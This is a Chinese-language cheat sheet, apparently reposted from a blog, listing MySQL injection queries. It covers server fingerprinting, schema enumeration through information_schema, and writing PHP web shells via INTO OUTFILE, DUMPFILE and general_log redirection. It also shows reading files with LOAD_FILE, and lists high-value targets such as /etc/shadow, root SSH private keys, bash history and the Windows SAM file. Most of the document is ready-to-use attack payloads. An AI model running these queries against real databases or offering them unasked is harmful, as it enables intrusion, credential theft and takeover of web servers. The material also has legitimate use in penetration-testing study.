mysql 基础注入查询语句

mysql 基础查询语句

sql 基础语句

select @@version  		查询数据库版本
select version() 			查询数据库版本
select @@servername		客户端主机名
select @@servername 		服务端主机名
select user()		查询当前用户名
select @@port 	查询 mysql 服务端口 
select current_user() 	查询当前连接用户名
select system_user() 	查询数据库用户名
select database() 查询当前连接数据库 
select @@version_compile_os	查询数据库安装操作系统
select @@datadir	查询数据库绝对路径
select @@basedir 	查询数据安装路径
select * from information_schema.PROCESSLIST;	查看当前 MYSQL 的连接情况
select group_concat(schema_name) from information_schema.schemata	查询所有数据库
select group_concat(table_name) from information_schema.tables where table_schema=database()   查询当前数据库的所有表
select group_concat(table_name) from information_schema.tables where table_schema='dvwa'  	查询数据库为dvwa,表名
select group_concat(column_name) from information_schema.columns where table_name='name'  	查询表为name的列名
select group_concat(id,name) from name 	查询name表id和name字段

mysql 文件处理

查看 导入和导出是否有限制
show variables like%secure_file_priv%;
- 限制 mysqld 不允许导入 | 导出
- mysqld –secure_file_prive=null
- 限制mysqld 的导入 | 导出 只能发生在/tmp/目录下
- mysqld –secure_file_priv=/tmp/
- 不对 mysqld 的导入 | 导出做限制
- mysqld secure_file_prive=''

mysql 文件写入

  • 拥有网站的写入权限
  • secure_file_priv 无限制 (Secure_file_priv参数为空或者为指定路径)
  • 网站绝对路径
select '<?php phpinfo();?>' INTO OUTFILE 'C:\\shell.php'
select 0x273c3f70687020706870696e666f28293b3f3e27 INTO dumpfile 'C:\\shell.php'
INTO OUTFILE 'C:\\shell.php' lines terminated by 0x273c3f70687020706870696e666f28293b3f3e27
INTO OUTFILE 'C:\\shell.php' fields terminated by 0x273c3f70687020706870696e666f28293b3f3e27
INTO OUTFILE 'C:\\shell.php' columns terminated by 0x273c3f70687020706870696e666f28293b3f3e27
INTO OUTFILE 'C:\\shell.php' lines starting by 0x273c3f70687020706870696e666f28293b3f3e27
outfile函数可以导出多行,而dumpfile只能导出一行数据
outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式

利用 mysql 日志进行写入
show variables like '%general%';             #查看配置
set global general_log = on;                 #开启general log模式
set global general_log_file = 'E:/study/WWW/evil.php'; #设置日志目录为shell地址
select '<?php phpinfo();?>'             #写入shell
set global general_log=off;                  #关闭general log模式

mysql 文件读取

CREATE table readFile(cmd text);
INSERT into readFile(cmd) VALUES (LOAD_FILE('D:/Test.php'));
select * from readFile;
load data infile 'D:/Test.php' into table readFile;
select * from readFile;
select load_file('/etc/passwd')
liunx 可用文件
/etc/udev/rules.d/70-persistent-net.rules	获取网卡名称。
/etc/passwd
/etc/shadow
/etc/hosts
/root/.bash_history   //root的bash历史记录
/proc/sched_debug // 提供cpu上正在运行的进程信息,可以获得进程的pid号,可以配合后面需要pid的利用
/proc/mounts // 挂载的文件系统列表
/proc/net/arp //arp表,可以获得内网其他机器的地址
/proc/net/route //路由表信息
/proc/net/tcp and /proc/net/udp // 活动连接的信息
/proc/net/fib_trie // 路由缓存
/proc/version  // 内核版本
/proc/[PID]/cmdline // 可能包含有用的路径信息
/proc/[PID]/environ //  程序运行的环境变量信息,可以用来包含getshell
/proc/[PID]/cwd     // 当前进程的工作目录
ssh
/root/.ssh/id_rsa
/root/.ssh/id_rsa.pub
/root/.ssh/authorized_keys
/etc/ssh/sshd_config
/var/log/secure
/etc/sysconfig/network-scripts/ifcfg-eth0
/etc/syscomfig/network-scripts/ifcfg-eth1
Windows 可用文件
C:\boot.ini  查看系统版本
C:\Windows\repair\sam  存储系统初次安装的密码

猜你喜欢

转载自blog.csdn.net/qq_22690543/article/details/107761729